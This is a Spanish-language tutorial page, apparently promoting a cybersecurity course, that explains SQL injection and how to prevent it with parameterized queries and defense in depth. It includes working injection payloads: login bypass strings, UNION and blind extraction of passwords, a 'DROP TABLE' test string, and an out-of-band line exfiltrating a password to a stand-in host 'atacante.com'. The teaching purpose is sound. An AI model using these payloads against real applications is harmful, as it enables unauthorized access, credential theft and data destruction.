Por Qué Importa
La inyección SQL ha estado consistentemente entre las vulnerabilidades de aplicaciones web más críticas durante más de dos décadas. A pesar de ser bien conocida y prevenible, SQLi continúa afectando aplicaciones, habilitando brechas de datos que exponen millones de registros.
El impacto de la inyección SQL va mucho más allá del simple acceso a datos. Los ataques exitosos pueden:
- Extraer bases de datos completas incluyendo contraseñas e información personal
- Modificar o eliminar datos, causando interrupción operacional
- Evadir autenticación y suplantar usuarios
- Ejecutar comandos en el servidor subyacente
- Pivotar para atacar sistemas de red interna
Algunas de las brechas de datos más grandes de la historia resultaron de inyección SQL, afectando a importantes minoristas, agencias gubernamentales y empresas tecnológicas. La prevalencia continua de esta vulnerabilidad refleja tanto problemas de código heredado como fallos continuos en prácticas de desarrollo seguro.
Para los profesionales de seguridad, la inyección SQL es un área de habilidad fundamental. Los pentesters deben identificar y explotar estas vulnerabilidades; los desarrolladores deben escribir código seguro; y los ingenieros de seguridad deben implementar controles defensivos que capturen lo que el desarrollo omite.
Cómo Funciona la Inyección SQL
La inyección SQL ocurre cuando la entrada del usuario se incorpora en consultas de base de datos sin validación o sanitización adecuada:
Ejemplo de Código Vulnerable
// CÓDIGO VULNERABLE - ¡Nunca hagas esto!
$usuario = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM usuarios
WHERE username = '$usuario'
AND password = '$password'";
$result = mysqli_query($connection, $query);
Ejecución del Ataque
Entrada normal:
username: admin
password: password123
Consulta resultante:
SELECT * FROM usuarios WHERE username = 'admin' AND password = 'password123'
Entrada maliciosa:
username: admin' --
password: cualquiera
Consulta resultante:
SELECT * FROM usuarios WHERE username = 'admin' --' AND password = 'cualquiera'
El -- comenta la verificación de contraseña, ¡otorgando acceso!
Tipos de Inyección SQL
SQLi In-Band
Los resultados se devuelven directamente en la respuesta de la aplicación.
Basado en UNION: Combina resultados de consulta del atacante con salida de consulta legítima.
-- Consulta original: SELECT nombre, precio FROM productos WHERE id = '1'
-- Inyección: 1' UNION SELECT username, password FROM usuarios --
-- Consulta combinada extrae credenciales junto con datos de productos
Basado en Error: Extrae datos a través de mensajes de error de la base de datos.
-- Forzar errores que revelan información
1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT password FROM usuarios LIMIT 1))) --
SQLi Ciego
Sin salida directa visible; los atacantes infieren resultados a través del comportamiento de la aplicación.
Basado en Booleano: Diferentes respuestas basadas en condiciones verdadero/falso.
-- Si el primer carácter de la contraseña es 'a', la página carga normalmente
1' AND SUBSTRING((SELECT password FROM usuarios WHERE id=1),1,1)='a' --
-- Iterar a través de caracteres para extraer datos
Basado en Tiempo: Usa retrasos de base de datos para extraer información.
-- Si la condición es verdadera, la respuesta se retrasa 5 segundos
1' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0) --
SQLi Out-of-Band
Datos exfiltrados a través de canales externos (DNS, solicitudes HTTP).
-- Exfiltrar datos vía búsqueda DNS
1'; SELECT LOAD_FILE(CONCAT('\\', (SELECT password FROM usuarios LIMIT 1), '.atacante.com\a')) --
Impacto de la Inyección SQL
Exfiltración de Datos
- Extraer credenciales de usuario, información personal, datos financieros
- Volcar contenidos completos de bases de datos
- Acceder a datos a través de múltiples tablas y bases de datos
Bypass de Autenticación
-- Bypass clásico: condición siempre verdadera
' OR '1'='1' --
' OR 1=1 --
admin' --
Manipulación de Datos
- Modificar saldos de cuentas o permisos
- Eliminar registros o eliminar tablas
- Insertar datos maliciosos
Compromiso del Sistema
- Ejecutar comandos del sistema operativo (vía xp_cmdshell, etc.)
- Leer/escribir archivos en el servidor
- Pivotar a red interna
Técnicas de Prevención
Consultas Parametrizadas (Prepared Statements)
La defensa principal—separa código SQL de datos de usuario.
# SEGURO - Usando consulta parametrizada
cursor.execute(
"SELECT * FROM usuarios WHERE username = %s AND password = %s",
(username, password)
)
// SEGURO - Usando PreparedStatement
String query = "SELECT * FROM usuarios WHERE username = ? AND password = ?";
PreparedStatement stmt = connection.prepareStatement(query);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
Validación de Entrada
- Validar tipos de datos (esperar entero, rechazar cadenas)
- Lista blanca de caracteres permitidos
- Rechazar patrones maliciosos conocidos
- Validar restricciones de longitud
Stored Procedures
-- SEGURO cuando se implementa correctamente
CREATE PROCEDURE AutenticarUsuario
@Usuario NVARCHAR(50),
@Password NVARCHAR(50)
AS
BEGIN
SELECT * FROM Usuarios
WHERE Usuario = @Usuario AND Password = @Password
END
Defensa en Profundidad
- Firewall de aplicaciones web (WAF) para detectar patrones de ataque
- Principio de mínimo privilegio para cuentas de base de datos
- Deshabilitar funciones innecesarias de la base de datos
- Cifrar datos sensibles en reposo
- Pruebas de seguridad regulares y revisión de código
Stack de Capas de Defensa:
1. Validación de entrada en el límite de la aplicación
2. Consultas parametrizadas para todas las interacciones con base de datos
3. Cuentas de base de datos con mínimo privilegio
4. Reglas WAF para patrones de SQLi
5. Monitoreo de actividad de base de datos
6. Pruebas de penetración regulares
Probando Inyección SQL
Pruebas Manuales
Payloads de prueba básicos:
'
"
1' OR '1'='1
1' AND '1'='2
1; DROP TABLE usuarios --
' UNION SELECT NULL --
Herramientas Automatizadas
- SQLMap: Detección y explotación automatizada de inyección SQL
- Burp Suite: Plataforma de pruebas de seguridad de aplicaciones web
- OWASP ZAP: Escáner web de código abierto
Conexión Profesional
La experiencia en inyección SQL es valiosa en todos los roles de seguridad. Los pentesters de aplicaciones web regularmente prueban y explotan SQLi; los revisores de código seguro identifican patrones vulnerables; y los ingenieros de seguridad de aplicaciones implementan controles de prevención.
Roles de Seguridad de Aplicaciones (Mercado EE.UU.)
| Role | Entry Level | Mid Level | Senior |
|---|---|---|---|
| Analista de Seguridad de Aplicaciones | 75.000 US$ | 100.000 US$ | 135.000 US$ |
| Pentester de Aplicaciones Web | 80.000 US$ | 110.000 US$ | 145.000 US$ |
| Ingeniero de Seguridad de Aplicaciones | 95.000 US$ | 125.000 US$ | 165.000 US$ |
Source: CyberSeek
Cómo Enseñamos Inyección SQL
En nuestro Programa de Ciberseguridad, no solo aprenderás sobre Inyección SQL en teoría. Practicarás con herramientas reales en laboratorios prácticos, guiado por profesionales de la industria que usan estos conceptos a diario.
Cubierto en:
Módulo 10: Pentesting y Hacking Ético
360+ horas de formación experta • 94% tasa de empleo